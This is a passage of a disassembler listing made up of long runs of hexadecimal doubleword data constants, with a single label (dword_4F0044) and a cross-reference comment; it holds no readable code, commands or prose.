314F5D01h, 4DF3318Eh, 7B6508DEh, 9D01D330h, 0B55CCA54h dd 2C5C6DD8h, 18E81237h, 8B6A6FC9h, 507E0780h, 0CBC05CB0h dd 0B9DB4CE9h, 0A5E226A9h, 0DC8C86FCh, 0F0561ACDh, 7D5DE6CEh dd 5B54975Eh, 0DD28E985h, 7AF44EAh, 0F7D0EA4Ah, 2D162BCAh dd 9474123Bh, 3FFAE404h, 0C41443F1h, 56EDA8C2h, 32D727FCh dd 0A275444h, 69ECDC81h, 0AE3DA974h, 68898DF0h, 5DCCB24Ah dd 769FD34Eh, 58FC52A5h, 0A048600Bh, 0B012DAA3h, 0F172BD34h dd 3261802h, 4B71E90Fh, 0FD61FA22h, 42DC6EA2h, 990E780Ah dd 0C2D2C2Eh, 31E1089h, 23B00B64h, 0A6C98A51h, 2BFA08A0h dd 0F6ECF24Fh, 204B099Eh, 35241059h, 8F7E3C02h, 0F104028h dd 6532250Ah, 0C512B25Eh, 3A2B9DEBh, 32FC7713h, 0E878E9C4h dd 0DB8058Dh, 4381B776h, 3D966D42h, 0FD1E95EBh, 0BB6868Fh dd 2AF9C8Ah, 267F5EA4h, 807700Dh, 42C171B9h, 9A56C3E9h dd 8828B100h, 7CB459CEh, 90702CCDh, 0A8FAA77Eh, 84ADBC1Ch dd 7618187Fh, 7F2C393h, 0FF6FE134h, 9FCED233h, 0CA7BCE5Eh dd 0CB96D7EBh, 211FE909h, 976C4601h, 7F42AD0Bh, 2730E775h dd 3D421C71h, 236606E7h, 180A2AE9h, 68840902h, 7EF956B1h dd 1379BC4Eh, 1DEA0901h, 1CF75950h, 609F71C6h, 1361350Fh dd 7968EE0Ah, 0D9CE01F8h, 0F853101Bh, 8175ABBh, 0BEFD31E9h dd 35DEF12h, 55FF2D20h, 283E819Fh, 3A90E842h, 0E92C1F0Bh dd 0BBF140E1h, 8564385Dh, 3988BF02h, 14E16B26h, 0D35507A9h dd 0EEF8D0FFh, 613719B9h, 0DDD38416h, 99ABAC28h, 4FC27E0Fh dd 0E5D06Bh, 0B860ACBEh, 0D3CE816Eh, 4E060B17h, 4035108h dd 0EA5EF231h, 5F016A85h, 3D9D128Dh, 0AFA4133Fh, 400B4150h dd 4205EBD9h, 26E94058h, 250D3A0h, 3AA66851h, 0B66627C7h dd 49C07E99h, 0F6A5B850h, 0D87150F6h, 0B79BBABFh, 0E90BD1C7h dd 77F2C28Ah, 0D0719362h, 885F0849h, 0EFA34027h, 0E7810007h dd 39C76D80h, 3324E957h, 9482A8DFh, 7F2CD20Ch, 0FA9A0C43h dd 0B028EC2h, 0CE55EA29h, 74892EFCh, 245EAD7Eh, 6F680104h dd 2482A0C5h, 8E00D793h, 2E254A2Dh, 3520224Bh, 2557F068h dd 4E221E7Ch, 35266ECh, 9520E120h, 0AB008972h, 8123755Ch dd 25A359C2h, 74C2DC8Ah, 2F5F88B0h, 56823799h, 68178768h dd 80371CA4h, 0B959E954h, 5BDF4C58h, 1BF588Ch, 56270417h dd 0D1E9F909h, 5BAC94ECh, 0DD6628AFh, 47844D60h, 0B7690D0Bh dd 0D4F91184h, 7EC8FDD2h, 74031412h, 0E9DE88FBh, 5CDA632Dh dd 5985D088h, 6834E691h, 0FA136EB2h, 7120AFFCh, 0B334C668h dd 2E7439FDh, 8394772h, 5717F0E8h, 0FD4AF6CAh, 0AB1185E8h dd 2636FB41h, 1A603B7Dh, 0EF28801Ah, 5D70F8EEh, 273D9F93h dd 53BE008h, 0E2AF9C02h, 0C9F22898h, 0AD7BA438h, 78230942h dd 0D50A827Bh, 0CB27836Ch, 0CB9ED6A8h, 965A43F6h, 4192B098h dd 0A2410513h, 0B8B3827Ah, 1FFFC1FEh, 0BD0B006Fh, 30133819h dd 0D24EF3F4h, 40B1AF90h, 5A747BD4h, 3A9DE5DEh, 644BD7E0h dd 0AFEE877Ah, 4D27FC80h, 0BEC9832h, 0F9CE1A76h, 0E9E2FFDCh dd 4837C875h, 456A092Dh, 26585135h, 0BCEF7AB0h, 5DD10179h dd 415A3024h, 9503B4F4h, 2ADE0312h, 0B780CF92h, 2E7FD4BEh dd 17A0121Dh, 4A41AB5Eh, 59C60A82h, 0E07D0C83h, 922DE607h dd 5CCFFC5Bh, 8E685C0Bh, 579E9A4Dh, 0E762360h, 0DBBE78D2h dd 3A924E72h, 0E4A12E01h, 6029DC53h, 0F197A490h, 1457EB2Fh dd 18D027D6h, 3B527019h, 221FA725h, 0CA91712Fh, 0D21C4225h dd 2D7945DFh, 9F071670h, 0E94DB743h, 0BA7BC07Bh, 2D5F1E62h dd 505E8946h, 0E700B3A9h, 40964D6Bh, 8200EB9h, 0D2845E4Fh dd 50063F3h, 1E446A67h, 0E34E8FE9h, 2D8029A2h, 7C36103Fh dd 0E2B60090h, 4BC9E978h, 0B55C4222h, 1640A30Bh, 3ABDEBB7h dd 1C95058Bh, 7C2C8AAEh, 18B9FC33h, 6025B1ACh, 0D85F0C93h dd 0EC4BE752h, 0DC50E8F2h, 2A236550h, 497D8346h, 0A968951Dh dd 0B760A664h, 19EFC09Fh, 0AC7FE08h, 0CEE7E103h, 4C23B61h dd 45786A90h, 0A04F4BACh, 475AEA34h, 0CC945D05h, 85F5D020h dd 0B3B0929h, 0EFED5F7h, 6D3681Eh, 0E956C730h, 17B9610h dd 236692BDh, 0C02C7129h, 1577C309h, 45E5EE78h, 48C2FB08h dd 0A734DC5Eh, 4B6DE748h, 0BEEC3BE1h, 754268B1h, 462A60D5h dd 38B6BA80h, 81812C11h, 0B96B7EE2h, 87E83B1Fh, 9DD30312h dd 13343E54h, 0F99EC4BAh, 0D482A2E5h, 557C25CEh, 78B37C5Ah dd 1670965h, 3472D05Ch, 554CCAF0h, 0E62559E5h, 91D0B5A6h dd 0E4FD9B26h, 88749180h, 3EB8120h, 0E1716289h, 0FA2DDBF7h dd 0B7A0BE56h, 0CD06246h, 5730D53Ch, 0E2061036h, 6375CC60h dd 0B1906192h, 3871DD1Fh, 5C2384E4h, 720652Ah, 7E6812A6h dd 7353A37Ah, 5E5F7B40h, 0B2DFB009h, 4A42D05Dh, 0B70445E8h dd 80170A71h, 16929A15h, 8FA12BEDh, 4BABDA7Fh, 0AC1273A2h dd 92A9FCE1h, 0B76BDDA1h, 0BBF85B4Bh, 5FF968B0h, 3F49189Dh dd 5F46B5CEh, 1EC5B55Bh, 62514F22h, 3BB750B2h, 0BDDBC9FEh dd 47D22872h, 70B76544h, 0ABFD4E31h, 0F2223039h, 0EA8852B0h dd 0D55E5173h, 0B57857ECh, 4F0DD2C2h, 0C5D6806Bh, 73C132EBh dd 0A008BD29h, 0C892608h, 577596D7h, 99404FEEh, 0F1C0CB5Eh dd 0D491637Ah, 38665863h, 3413E917h, 0C478EC01h, 0AB88B22Bh dd 212805A2h, 0C2EA89FBh dd 0DF0B57AFh, 27BE2486h, 1070EB03h, 0B60114EFh, 0A2E5208Ah dd 54BC8976h, 77FE6851h, 6BCAAFADh, 5DF97288h, 0E15E410Ah dd 0F2F1D208h, 78980212h, 25894D58h, 5A545282h, 9CB066CCh dd 5F12AC54h, 973B43A4h, 54AE2CE9h, 0CA88359h, 0B34E4067h dd 0EBD03E03h, 9997CB80h, 0E17B12F3h, 99C3E4F8h, 5BDC2807h dd 0E9E2ACB1h, 0F32C61F4h, 9663E32Bh, 0AEB4FBACh, 111F1990h dd 81680279h, 0B17E23CDh, 0E49CF282h, 762FD350h, 63C28208h dd 93E7DBB7h, 918BB4Bh, 7DB595CAh, 97FAB7DEh, 7EF0E025h dd 987D69FBh, 9FD90AACh, 0AB44CE2Bh, 472D4EEAh, 5E8158CCh dd 0B99ECC63h, 63ABE64Fh, 0EFE153EEh, 3ED1C22Dh, 4EFE8F51h dd 1E8CBE0h, 4AD65FCAh, 968304Ch, 76A814F0h, 0E18F3182h dd 0A2857D09h, 7FCECB4h, 0FB9AE4B8h, 0F9F0EB2Eh, 808169EAh dd 60D62716h, 0A240D8E6h, 1BB7A05h, 92D4A95h, 0FC741318h dd 96BA1085h, 3256813h, 6FEF7A61h, 0C6D1AA04h, 6EE4B9F6h dd 90F2F223h, 71AB31BDh, 0F87AC6FBh, 292EE749h, 68006DF7h dd 127E3A6Bh, 0B2350558h, 0EA72A327h, 0F3DF2681h, 7A40B800h dd 3A056026h, 5F9C6125h, 9202C6Eh, 0B41F396Ch, 8B058266h dd 2592EA35h, 0A6E1D4C3h, 0FB052D96h, 4186015Dh, 606E8575h dd 4D10DDABh, 6044EE4h, 0B20172E9h, 626809DEh, 8891FA28h dd 0C7D6F7F1h, 32465FCh, 9CC89F0h, 745DABC4h, 0F1173C3Ah dd 7D5C6007h, 434A3A68h, 0FC887021h, 0C1D61230h, 44C62D14h dd 0EC05D0B0h, 20AD3013h, 707AAA1h, 591411CAh, 0A9808984h dd 5E26561h, 4264EA68h, 52506641h, 0F6DCF760h, 44F771B5h dd 3ED0E1EAh, 97882CDCh, 8C9D930Fh, 68242E76h, 947BBA09h dd 0A438664Fh, 66F304C2h, 0AAF53743h, 8BECC016h, 86D101E4h dd 6B147802h, 54C087F2h, 531A3145h, 1916BB78h, 0F4B9EAC1h dd 725CC302h, 0C0F5632Dh, 0CFF78E71h, 0A9CC255h, 0EF4933h dd 3D39455Eh, 345B21E9h, 6A5138D9h, 31021B17h, 0C55D857h dd 624F644Ch, 258207EEh, 810550E9h, 388CCF8h, 3D366499h dd 0C02EBCC3h, 657ECDBFh, 0CBF69742h, 1318CCCCh, 4737DE67h dd 0F9C3037Bh, 0F3CF2077h, 30A563FEh, 0FE64B79h, 0BC029125h dd 31E9DA29h, 4E1E7A43h, 88B105C7h, 0D4A482E2h, 944CDBB8h dd 0B2B4F083h, 0DFF40180h, 2858E588h, 98E02EEBh, 646BE7AEh dd 388B93FFh, 0D1BC53A4h, 0A49B404h, 71A0AE0Bh, 20C86BBAh dd 4F3AF251h, 0CFD446A3h, 0ADF6BF2Fh, 0A3CADD69h, 8213CDD7h dd 103BEE9h, 5B0B0846h, 0FD26B863h, 612D4C80h, 50487045h dd 432B0287h, 0C0F80144h, 81C477C1h, 8025E320h, 426C5114h dd 0BB01DF2Dh, 61E20925h, 6120D353h, 0E34B5803h, 5B7E2332h dd 0D83F9940h, 131BA295h, 80BE00DBh, 0D14EDDFCh, 0CAA122FAh dd 1313C675h, 0CD5F4168h, 87252AEDh, 25040D25h, 29AAF57Dh dd 0A7C03E99h, 4EFF69A1h, 4F8A959h, 5EF37C5Dh, 4100F6EFh dd 1C28E20Ch, 451E562Dh, 6F85AC23h, 2486C872h, 9BE2488h dd 0C3DF1BADh, 189FC002h, 68770AFAh, 40607295h, 0F27F52A5h dd 0E78FD89Fh, 0A366C86Eh, 0C61E341h, 0E57151C5h, 0B642EBC1h dd 154ED777h, 95B64A80h, 0C1DC93BDh, 8A2B9371h, 377F5091h dd 261B5ED4h, 0E509B0C5h, 40CCD1ACh, 679E2BFDh, 0D4070500h dd 6FE99861h, 878C994Eh, 3413572Dh, 5188256h, 0EE5F0785h dd 7B1C6801h, 82812FA5h, 7381A14h, 73F931E9h, 3FA410C8h dd 1890267Dh, 5D506913h, 3D90285Ah, 0F20296E6h, 7CCEEC1Dh dd 238D2C7Eh, 0DD060290h, 567EDC72h, 91E7A08h, 5A45D029h dd 0E002ED2Ch, 0E2201C18h, 480D454h, 85AB1F9Fh, 0BC8BAA54h dd 1FD0F717h, 4F46958h, 0C44B5161h, 27A5868Dh, 2DFA8739h dd 0DB6741CFh, 0FBA3C42Ah, 80415BCDh, 427E2FEBh, 857B8FA4h dd 0CA4D16E0h, 0AD7953BDh, 0E48B751h, 0C1516669h, 0C36A9728h dd 1E0C852Eh, 0C40FE15Fh, 8E9CAF9h, 6B16C524h, 3E952DEEh dd 9D51CDF0h, 0B356A3FCh, 53BD01FEh, 7F44F366h, 1C380089h dd 28318706h, 97170F0Fh, 0B18AE09h, 0A1BE560Eh, 0B32E2909h dd 7EE9C1A4h, 6B23012Ch, 87085224h, 31D82966h, 7E25102Dh dd 0E2D29CA2h, 0EF83872Fh, 0ABCE97FFh, 0DFEDE909h, 6F8211FEh dd 414AF046h, 0A4258DF6h, 56F8F741h, 0FCEB4D93h, 0C84A2771h dd 7D9D151Bh, 0C05C970Bh, 8BD07B0Ch, 67080BBFh, 485D28BDh dd 933EF44h, 0E9D6DF9Fh, 0F2BB18D2h, 0AC9DEA03h, 2CE9989Eh dd 0EB69C048h, 20BE4E5Eh, 6397D7F6h, 0D3C33115h, 1DA33C9h dd 92F8635h, 0A90B292Ah, 170C9BFFh, 43BE68FAh, 172FE9FFh dd 9BDF2D28h, 4720100Fh, 0EEF7A441h, 48BCF7AFh, 17280412h dd 0A4877A20h, 74EC90D9h, 0E230D7F8h, 1B163BDBh, 0CA0605E1h dd 0F4A68B66h, 5AF7028Eh, 995ED7F6h, 8FFEC9CFh, 5800504Ch dd 14B2CD81h, 68165503h, 0F6B3356Fh, 90398605h, 0E175853Fh dd 13E03E46h, 5DEF4060h, 2AC95648h, 0B1071BB4h, 79C1802Fh dd 79FDA6D2h, 0FA25ADE0h, 6212FF8Fh, 6EE979FAh, 810086A2h dd 0F88626F2h, 0ED2D6897h, 9232D164h, 7417AED7h, 0E98F67ADh dd 11E6A4A2h, 0C12F1176h, 67A6CE14h, 786804E3h, 960CF845h dd 0E93270AFh, 149CCC79h, 0E2272C64h, 0EA50B4Eh, 5B7AB5Ah dd 0CB8B572Dh, 24B35453h, 22E9C1D9h, 4844B261h, 0D68A081Eh dd 13BCAE82h, 11ADD46Ch, 4BBF930Fh, 0F81CAFD2h, 9AE9D5C5h dd 0BD4E3CE0h, 0F39F8E78h, 25D0ACD4h, 7AA59DE5h, 1D0518ECh dd 2F695E5Bh, 81030CE4h, 6B2A33E5h, 0A9F5B01Eh, 1B442456h dd 235401B5h, 6A09740Bh, 0FFEB6FD1h, 0B878248h, 37C66850h dd 1FDBC630h, 54125E2Dh, 0E0ABC7F4h, 0A0E91139h, 0F5C22D6Bh dd 0CEC77611h, 5BFE33CAh, 0D7EEAD09h, 45FD1A1Ah, 0E3A5B925h dd 402781D6h, 3BE7BB6Ch, 0A95CD74Eh, 0C5633304h, 0AE1AF6Eh dd 5F5B0802h, 19018E0Fh, 0EAE94CB2h, 0E7C1A8A1h, 0E0CA2002h dd 4590141Dh, 3CD3CF81h, 40300568h, 0F2FB82AAh, 0B57F18Ch dd 0B6D8601Eh, 296B0DBBh, 7CBA7A0h, 1BD06C17h, 5EBEE416h dd 4FA7AF8Bh, 0B56D35Fh, 7C5BA825h, 736805D4h, 60CAAB54h dd 7C5D294Eh, 4C34C63h, 4B332CFCh, 0AB050708h, 46FF6999h dd 0E6109879h, 92C9683Ch, 5C001D2Bh, 0A9667DF2h, 58759606h dd 68253D22h, 0CF85D70Eh, 7BC2E1E8h, 9F2D388Eh, 9F93FA70h dd 0D8B91831h, 0C51AF82Ah, 0B9441657h, 9F808E5h, 0F20E8048h dd 2B2C348h, 7C092D3Ch, 0E7DC840h, 0B8DBF680h, 3B4D73E2h dd 0E31842F3h, 28E612A8h, 74D2DD5Ch, 64AE015Ah, 4F3B0D12h dd 0ACA88A1h, 708439B9h, 0FCFA7FEFh, 7214883h, 68102EA1h dd 0C257D993h, 2F9256EEh, 0F2788359h, 4E89ECCFh, 3842EA47h dd 7F5DEE31h, 14CE7248h, 64185617h, 8B4AD30Ch, 6329008Dh dd 0D5F18147h, 67289C4Ch, 0E74EDE89h, 4F5294C6h, 552A22B5h dd 5A16FAF6h, 41811F98h, 0A4E9693Ah, 0FA5CA5AFh, 0E7BD59C8h dd 52665A05h, 0C0AEE5D1h, 405E0659h, 85577E9Fh, 816711D6h dd 0C32BFD50h, 3E7F9985h, 2E4876B2h, 2346D605h, 769BED09h dd 31266918h, 2748AD0Ch, 0D5C1F1DCh, 0F309C2BDh, 7F54AD05h dd 3316FD72h, 7FDA7095h, 680C89D6h, 72F001DEh, 0F4B97B98h dd 0B8C0BA8h, 58504282h, 8A0B4D4h, 0C8015D12h, 4FC016A4h dd 0C1F8FC0Ch, 363B02E2h, 35A9C02Eh, 0D50B4AABh, 60DFE97Ch dd 492768F1h, 0CB82A070h dd 0D4600D3Dh, 4082D7D4h, 5A295745h, 2F9DC06Ah, 1F5B8A83h dd 0E70709FDh, 9BDA1D80h, 0FD06BDFEh, 0D2A604Dh, 6C0B0F9Fh dd 19C77CB4h, 0DD7EC8FEh, 82240E22h, 0A454A5D0h, 1A89DD69h dd 0CE078377h, 0EE8705D5h, 0B8136B7Eh, 44950494h, 0D2FA5A59h dd 4A4B0270h, 3FF187F9h, 4968F40Fh, 82AC714Ch, 0CBDA57B0h dd 203B57D6h, 82B8009Ch, 50FA24Bh, 0A9030B11h, 2DD8F736h dd 17A7A9E2h, 5BD40F82h, 7EC16DC8h, 0FEB00429h, 6E7C4146h dd 0E58BEAB0h, 4A4CD01h, 68A031A8h, 45BB660Bh, 0D1F63707h dd 0B708D926h, 178E5488h, 0F5664EDEh, 12E1CFE4h, 3F8505FBh dd 0D58DD79Bh, 59A849A7h, 0D28CBFF6h, 57FDB4Dh, 21304177h dd 93ECC5h, 431F59F9h, 9702E6E9h, 68F807E6h, 6D7AFE2Dh dd 32752594h, 0F72FC179h, 34B66800h, 800B1DAAh, 47B3FA58h dd 700B8325h, 0E96E0838h, 933F4534h, 0A1B8FFEDh, 3130D6B1h dd 7FEC2EAFh, 6B1AC502h, 8AC228F1h, 0D6FFC14Bh, 0CB059C4Fh dd 89BCC2EFh, 583BE0AAh, 41C013B1h, 0F1FA3759h, 0C6548012h dd 65016424h, 290360E3h, 408EA72Fh, 2F2CEF1Fh, 0CE00AAFAh dd 68725949h, 961B7DE9h, 150BE993h, 0C52583F6h, 0B392BF69h dd 0FF6EC91Fh, 3A2CAEC9h, 220541D0h, 21672546h, 0A0D50EEAh dd 61E18A4h, 0E3D12D1Ch, 0C08D7860h, 8B015927h, 82E1DE25h dd 41E57015h, 61F2E2DDh, 69F025Bh, 22CDC105h, 3474F958h dd 7E3BA095h, 6F3DCFBh, 73A761Ah, 408A130Ch, 8B3D1E2Eh dd 0EAF1011Dh, 0EEB00C12h, 222D055Fh, 0A1477728h, 68F28507h dd 0E2F84482h, 6A6EB0C0h, 9C053574h, 295A3E4Ah, 0F1C1D15Ch dd 17B9950h, 1A41C43Bh, 0B0D41C08h, 7E5A2E0Bh, 0E95B40B7h dd 48978C68h, 0E10C2F8h, 1307E6Eh, 13A68ADFh, 0B5F382E9h dd 44617F36h, 5709F273h, 8628980h, 0D3EF1B43h, 62519AF1h dd 0E4B52753h, 5C0F0F3Eh, 0FA69202Fh, 3A5BE0E1h, 95006929h dd 1A6B3EF4h, 92CA0136h, 975080Ah, 92D7FA17h, 16485F0Ah dd 0AD062C6Eh, 0C885E933h, 0FC77D9Bh, 0F25A49EFh, 0DF67AAF3h dd 0D7224DE7h, 0AD8C80C1h dword_4F0044 dd 0D7409856h, 0AFE1E50Ch, 70EDCAB2h, 2668E9A0h, 533E004Ah ; DATA XREF: ___:004385A4o dd 9E7D8BBBh, 21401F58h, 92B9812Bh, 7B059526h, 0BC5B8CA0h dd 29BF0BE0h, 559EE870h, 5782FC2Ch, 0D8306850h, 5CC19070h dd 128131C3h, 0EDD3DF5Fh, 0B3D6C1Fh, 84A13558h, 2DE84C9Ah dd 0F703FFCCh, 0C48ED049h, 0AA122145h, 202C6E61h, 5504E936h dd 0C0673F7Dh, 6315D05h, 64E90213h, 99BA3616h, 3E993F6Bh dd 89809B61h, 0C5FE8AB5h, 8074E5D0h, 3D25617Eh, 0BDEDD3BEh dd 17AC3B98h, 2F165BF5h, 0BB11271h, 90EFCB21h, 0F6CF5AE4h dd 9D0EC058h, 566D5E60h, 0AC7A84FDh, 3181EC50h, 0C82A939Bh dd 74E3837Dh, 59B4D5BAh, 9D80D052h, 6813C766h, 91A86C59h dd 0BF37EC4h, 2068DB09h, 4D39008Ch, 0E9402AABh, 0CB9922A2h dd 0D55A17BCh, 237A49D1h, 0DD48D707h, 0EDED9282h, 0C5FDF5E5h dd 0B7EFFEF4h, 12E45D68h, 4B0B592Eh, 0D867C103h, 58D9AF6Fh dd 7DEFF2CCh, 98C3404h, 4AC7A810h, 680976CAh, 0D1B01E50h dd 0C0132CC2h, 86E52D11h, 7B21DAD6h, 30524B68h, 435BE5DFh dd 0B820A098h, 1FB23B27h, 0E9756A92h, 52C3004Dh, 895839D7h dd 77F3B5C7h, 2EC09320h, 4F352D6Dh, 729A3A30h, 79542287h dd 0EFEAB018h, 0D0902E6Ah, 0E94F5805h, 34E7F0E5h, 61FA4A7Fh dd 3B6F496Ch, 0B5A16931h, 169E4328h, 0CD20FF5Eh, 4E086131h dd 500BFC6Eh, 7140332h, 7DB534DDh, 7C585B78h, 0E750552h dd 0CE8078F7h, 4850587Dh, 77E2412h, 176BDFC9h, 0C2487266h dd 1F2D51B0h, 0D577E818h, 0B826793Ch, 0A2297616h, 5C0809E1h dd 66CBCC88h, 4928B95h, 0F4106AABh, 0B141430h, 84240FC9h dd 55891A41h, 2105854h, 3A2A3283h, 28C8E2C1h, 454C3C37h dd 0E6A1BB9h, 96CAB12Fh, 0E65974h, 25116C4Bh, 3F777C47h dd 9698BFB8h, 77253096h, 0AC68EEA1h, 758C2A01h, 753B0066h dd 47E28177h, 3E3CF94Dh, 0D951A7E9h, 0B41216E1h, 6801E32Eh dd 831D6F35h, 929D01EBh, 0F0FC2D15h, 9763CE2h, 0BB989877h dd 6CB99EB7h, 547D5680h, 0F1DDA42Bh, 3572B71Fh, 420BDF68h dd 5647BBF9h, 0D0B82EF4h, 0F609674Ch, 0E70929ACh, 135F22DDh dd 4EE657DCh, 0D04D0C0Bh, 3D51E82Dh, 74451C60h, 659AAF29h dd 9FE90C01h, 62A057E5h, 0BC486530h, 90B4F01h, 0E0295E6Ch dd 25E9C385h, 0AEF9AEBAh, 84A8E01Bh, 9359A9Ch, 30621BB8h dd 578DF004h, 0B90EE0ACh, 13EB50E0h, 9D2D6A40h, 3C220F1Eh dd 89E9E885h, 881386BDh, 10B1A36Eh, 8A106B3Bh, 0B912172Ch dd 4A5F5CC8h, 0C2A78822h, 12EE9D4Ch, 2D014A4Fh, 576E4905h dd 7800B17Fh, 3AF1706h, 6E8436B3h, 0D27AFD49h, 821074AEh dd 8BD782D5h, 27B6F795h, 1725C292h, 6CA2256h, 20FC4C34h dd 5FA3DA73h, 38268FF9h, 36F692D0h, 0A4A29524h, 0D568C1E3h dd 19F83649h, 0C48B3C5Ch, 0A8887960h, 78B35394h, 0C09C2C5Dh dd 32D8A529h, 80E4F620h, 7AC772CDh, 12C92460h, 0D58DC255h dd 0C002237Fh, 0E27125EAh, 5F0FA116h, 0CF33A84Ch, 443AC0CEh dd 4BE94E32h, 3C7FDF5h, 5079F1F7h, 7F72D9F2h, 5C8E351h dd 3591212Fh, 0A529025Eh, 8602EED9h, 60B8388Eh, 9959CE2Dh dd 0A13F1340h, 63B06AEAh, 7F1917D0h, 2B1EBFBFh, 282DCA41h dd 796459AAh, 79BB3F29h, 1A5C2A6h, 3516D2C1h, 700A7A38h dd 5A1308E9h, 7CAA8FFAh, 38114025h, 90F766EAh, 29A92BE6h dd 546717C9h, 0B8221A65h, 0DFF5E195h, 0DBB057EAh, 97776855h dd 9259182Eh, 7BBBD424h, 0C914572Eh, 0E918B560h, 40495A44h dd 531CF1E3h, 0D6C05732h, 0A15AB2A5h, 58A90905h, 73781E3Bh dd 37E90780h, 0B689E24Ah, 0F1FD913Ah, 0F97FC2B2h, 1CDFA798h dd 4BBD90F7h, 1042F31Eh, 0B540BAF8h, 0A05203A6h, 42050D1Ah dd 3E0B29FFh, 0FDFE9550h, 61255E06h, 0D67C531h, 44E16858h dd 7CD1E95Bh, 0A8B9E4D5h, 4771AF85h, 8457C1A8h, 3613BE05h dd 0E5D383A2h, 1CF76AB7h, 9480E985h, 0CBAA01BDh, 3F9416AEh dd 0FA6691A1h, 0A716A44Fh, 355EE40h, 65026DBDh, 85E24D3Eh dd 0D56909D5h, 46FF0632h, 1B5E2767h, 6809E267h, 519BF70Eh dd 9DFD435Ah, 17F51EC4h, 680520FBh, 4C9D4B20h, 8D214B95h dd 6D78E40Bh, 0D2752FE1h, 0D2F4E6BAh, 5D795DD8h, 0AE87B2DCh dd 80291456h, 70AC2FBFh, 5FD1494Eh, 0ABFC21EDh, 0B1A8B539h dd 0E6682508h, 41800676h, 40DAEFC1h, 0E5AD12BBh, 480ABC60h dd 4E98983Eh, 0F7265543h, 6BCE825Eh, 5B67F0C5h, 502DA71Bh dd 0D995ECB9h, 522C93B7h, 7D71AF80h, 0ED33196Eh, 8235D735h dd 8AC8240Ch, 31F90159h, 0D03A4811h, 4DFC5A4Fh, 3314E9B0h dd 776744Ch, 71D975A8h, 40BDACA4h, 94AEA1Eh, 48E2C47Ch dd 515C39C0h, 0D4050A27h, 0A576020Ah, 8986435Fh, 50F837F9h dd 71C85916h, 42F62CFEh, 0BE4EFA4Ah, 6B5E7E30h, 2F5201D6h dd 0E0CBEAB8h, 0E7D119A1h, 0F057CAC1h, 0B587FA78h, 5D5CB961h dd 2041FC6Bh, 6BBFF99Dh, 3186107Dh, 2CAD98D0h, 92436FE9h dd 0F97B985Eh, 0C3CFAF60h, 5B08027Fh, 0F10CB1E2h, 0CB400659h dd 33595248h, 0FEE9C94Fh, 0D5F78D35h, 0D3BEE408h, 0E45FD0CFh dd 0B68FEBh, 0D483803h, 0B4CE7BAh, 84BE4C0Ch, 0C71474DAh dd 12E30E10h, 65EECA68h, 4A8BABEBh, 5F0CE90Dh, 1AA1E0CBh dd 4A02B825h, 5F080286h, 0B7E96053h, 6A00939h, 0A0F54D5Dh dd 36BCED59h, 0AFD44F07h, 42C20600h, 0C0291E35h, 3A79F50Ch dd 9D2EE91Ch, 805A48CBh, 46685101h, 12612708h, 0C55F91D7h dd 2FCFF92Eh, 0BA0E565Fh, 891308Ah, 86550C7Fh, 45F4C1C3h dd 7A97D1FAh, 4F2C26F7h, 8802EA5Fh, 0D12FD3BBh, 3D82896h dd 7916449Bh, 4E40D129h, 7B958708h, 1DE90630h, 0C702374Dh dd 32B47E06h, 0BC38FA5Ah, 0CADF42B4h, 504228D4h, 5AA48056h dd 0B86A1C29h, 35F12064h, 785769Dh, 0F766CCEDh, 9A216F7Dh dd 20419F40h, 719D3F8Ch, 0BDE4EF7Bh, 0FD8AAAAFh, 5E5F5605h dd 75CDEB31h, 9DB62F30h, 715D2A62h, 0B58566D9h, 1EDE7E9Dh dd 79B5227Dh, 0BE56406Dh, 9D2D48A0h, 13DAD847h, 0F0B862B7h dd 0FC2568F2h, 1DEC651Ch, 0FB74ED8Bh, 7D7D6471h, 596E9904h dd 0A900B452h, 5E92751Eh, 0DBBF5741h, 4BE6B861h, 3061DF9h dd 0E0F792D1h, 4B1612EDh, 0A6E959B7h, 0D3780E27h, 2AC23CDDh dd 7F4F2E35h, 2813E0DAh, 0FD014CA1h, 5A0B4D1h, 0ED213B93h dd 49F07A8h, 95D03933h, 98681F02h, 0FAFB2E4Eh, 4E906967h dd 46BD5EB2h, 3DB9509h, 0BA965649h, 96A0A24Ah, 320D29EAh dd 0FA4A10EDh, 75A4BB02h, 0BD607998h, 2AEE3E56h, 9E764A98h dd 5F1F1620h, 0A266805Bh, 47092672h, 44106DE9h, 0C3303D8Ch dd 6B8EB419h, 6C15DCFAh, 5FF80FC5h, 7A3222BFh, 46AB5904h dd 0A3C1EB96h, 0D0F668C4h, 0FC0B7A82h, 80D66068h, 26FAEAC3h dd 4701032Dh, 295C07D3h, 9FE4AB77h, 16DB8080h, 0BB48CC01h dd 737936BAh, 0E910386Ah, 90189924h, 0F89C5B64h, 0BDC440EDh dd 0E373209h, 0A02C112Ch, 2771A5C0h, 2C1A6C29h, 995D0C05h dd 0E41B60D2h, 0B0F18DA6h, 0F1B41012h, 9CC13880h, 40A08D50h dd 689D8922h, 7354CCFEh, 3082BF1Bh, 46C1C621h, 79680080h dd 2AB13D5Fh, 541AD317h, 50073C25h, 6F723454h, 2EEEA6A1h dd 0E0812AD2h, 42CAD622h, 81B880Dh, 0FD50E905h, 0F7479692h dd 557D8046h, 4DBB5303h, 0F116E36Ah, 0FAD8CAF3h, 0A100957Eh dd 0AE443ABDh, 5AB99858h dd 0F22B68A1h, 63FACC6Ah, 413EB055h, 0C39B3082h, 2CBA5213h dd 0E2D92E89h, 73ABA93Bh, 60440405h, 0AAE29BDh, 0AFA7D4BCh dd 0A46C7981h, 8E4CEC2Eh, 0C713BBB1h, 0B95168B3h, 0CC05AC6h dd 5F10DEDh, 567901E6h, 12DC6049h, 50915429h, 1539AB6Bh dd 20BA894Fh, 56321066h, 42F324A7h, 5AC5574Dh, 0A6D0410Ah dd 54025CACh, 0D57CD257h, 24080128h, 210C2792h, 2114591Ah dd 38D95BD9h, 14FC1724h, 0FA7224FFh, 0B551DDF5h, 8A2F9DC1h dd 4756140Ch, 4397010Bh, 0FB3111D2h, 0A9D1E2F4h, 6171DAA9h dd 4E69E1DFh, 0F2020539h, 0D0C83F2Fh, 12198177h, 5C3C6F35h dd 4D500448h, 4F578A73h, 27141D76h, 8BE98F38h, 2949EF92h dd 37E67DC2h, 514C38E6h, 2CE3D51h, 68AB09EEh, 20527899h dd 594C60A2h, 0A1B1071Dh, 7FAEC980h, 2C0E3EA6h, 8AEA13D1h dd 0EF8905F5h, 0A7B8DEE9h, 5074050Eh, 0D0F73F00h, 7D036C35h dd 0E0C16FB9h, 4C19C004h, 0E0204E2Bh, 0CB40FC31h, 308414B6h dd 9F1CF4F1h, 64D6202Eh, 4866DCF0h, 0FD24A49Bh, 120820ACh dd 0BCF5E4E9h, 5753C155h, 0C88B6852h, 